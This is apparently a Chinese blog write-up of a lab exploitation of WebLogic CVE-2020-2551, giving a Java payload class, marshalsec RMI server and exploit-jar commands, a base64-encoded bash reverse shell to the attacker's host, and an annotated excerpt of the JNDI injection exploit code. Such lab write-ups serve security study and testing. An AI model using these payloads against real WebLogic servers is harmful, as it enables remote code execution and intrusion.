weblogiccve-2020-2551

weblogic:cve-2020-2551

环境准备

靶机:ubuntu-22.04.3

ip:192.168.57.134

weblogic10.3.6+jdk1.6

攻击机器:win10

ip:192.168.57.1

jdk1.8+下载好的需要的jar包

image-20231127210654199

exp代码:

import java.io.IOException;
public class exp {
	static{
		try {
			java.lang.Runtime.getRuntime().exec(new String[]{"curl", "http://192.168.57.1/success"});
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	public static void main(String[] args) {
		
	}
}

验证过程

先编译exp.java文件:javac exp.java -source 1.6 -target 1.6

win10上建一个rmi服务器:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.57.1/#exp" 1099

使用marshalsec-0.0.3-SNAPSHOT-all.jar这个包里面的marshalsec.jndi.RMIRefServer类在本地1099端口启动一个rmi服务器

win10上建一个web服务器:python3 -m http.server 80

让ubuntu远程调用win10的rmi服务器的exp.class,然后执行里面的命令java -jar weblogic_CVE_2020_2551.jar 192.168.57.134 7001 rmi://192.168.57.1:1099/exp

注意:上述命令都在一个文件夹执行(就是利用环境的那个文件夹)

观察python开启的web服务器的日志:

image-20231127210720159

可见调用了exp.class并get访问web服务器的success,但由于那个目录没有success所有返回404(验证成功)

反弹shell

改exp.java中的payload(注意一定要使用base64的方式,不可以直接用明文弹shell命令)

import java.io.IOException;
public class exp {
	static{
		try {
			Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","{echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC41Ny4xLzIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}"});
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	public static void main(String[] args) {
		
	}
}

执行命令:java -jar weblogic_CVE_2020_2551.jar 192.168.57.134 7001 rmi://192.168.57.1:1099/exp

win10上的rmi服务器显示:

image-20231127210741193

win10上的web服务器显示:

image-20231127210806454

win10 nc监听的2345端口显示:

image-20231127210817313

可见成功反弹shell

踩坑

这里反弹shell踩坑主要就是一开始是直接

Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","/bin/bash -i >& /dev/tcp/192.168.57.1/2345 0>&1"})

没有采用上面base64的方式导致一直反弹shell不成功

为什么要base64命令

看了一些别人的文章是这样解释的(具体不知道了)

我们看为什么这里要用base64的方式反弹shell

先看java的exec方法:

public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)

没有String[] envp、File dir限制的是exec(String command)和exec(String cmdarray[])

而它们的代码是:

public Process exec(String command) throws IOException {
    return exec(command, null, null);
}

public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

它们都会调用exec(String command, String[] envp, File dir)

来看看exec(String command,String[] envp,File dir)

public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}

这里的StringTokenizer会对命令进行分割,java以空格、制表符(\t)、换行符(\n)、回车符(\r)进行分割

所以直接明文有空格不行,用base64绕过空格限制

因为我本机jdk是1.8,ubuntu是1.6,一开始以为是jdk版本问题,所以又下了个1.6的jdk到本机,后来测试发现与这个无关

渗透测试

端口扫描,7001端口就是weblogic服务

image-20231127210832211

服务版本扫描

image-20231127210842158

简单的漏洞检测

image-20231127210854340

可以看到40187端口是rmi服务,但是简单的漏洞扫描没有扫除cve-2020-2551

网上找一个脚本测试一下有没有该漏洞:https://github.com/topics/cve-2020-2551

image-20231127210910076

让手动验证一下

分析漏洞

先看一下payload

JNDI:在 Java 程序中,JNDI 上下文用于查找和绑定对象

主要就是如下这一块:指定对应的参数就会传入调用的rmi服务器的指定文件给目标,由于是使用iiop协议会进行反序列化,进而目标会执行恶意文件(执行其中命令)

            String ip = args[0];//传入参数:有weblogic服务的ip
            String port = args[1];//传入参数:7001端口(weblogic端口)
            String rmiurl = args[2];//传入参数:要加载的rmi服务器的恶意文件
            String rhost = String.format("iiop://%s:%s", ip, port);//iiop协议是一个用于远程方法调用的协议,iiop协议传输输时会自动进行序列化和反序列化
            Hashtable<String, String> env = new Hashtable();//实例化一个hashtable对象
            env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", rhost);//散列表对象设置了java.naming.factory.initial和java.naming.provider.url两个属性的值,这两个属性是JNDI的标准属性分别表示工厂类名和JNDI提供者的url
            Context context = new InitialContext(env);//该对象用于创建jndi上下文
            JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();//该对象用用于管理分布式服务
            jtaTransactionManager.setUserTransactionName(rmiurl);//指定rmi事务名称,这里参数可控加载远程文件,导致JNDI注入,这里的rmiurl指向自己开的一个rmi服务器的恶意文件
            Remote remote = (Remote)createMemoitizedProxy(createMap("pwned" + System.nanoTime(), jtaTransactionManager), Remote.class);//创建一个代理,实现远程接口
            context.rebind("Y4er" + System.nanoTime(), remote);

public static <T> T createMemoitizedProxy(Map<String, Object> map, Class<T> iface, Class<?>... ifaces) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
posted @ 2023-11-28 13:14  qingshanboy  阅读(562)  评论(0)    收藏  举报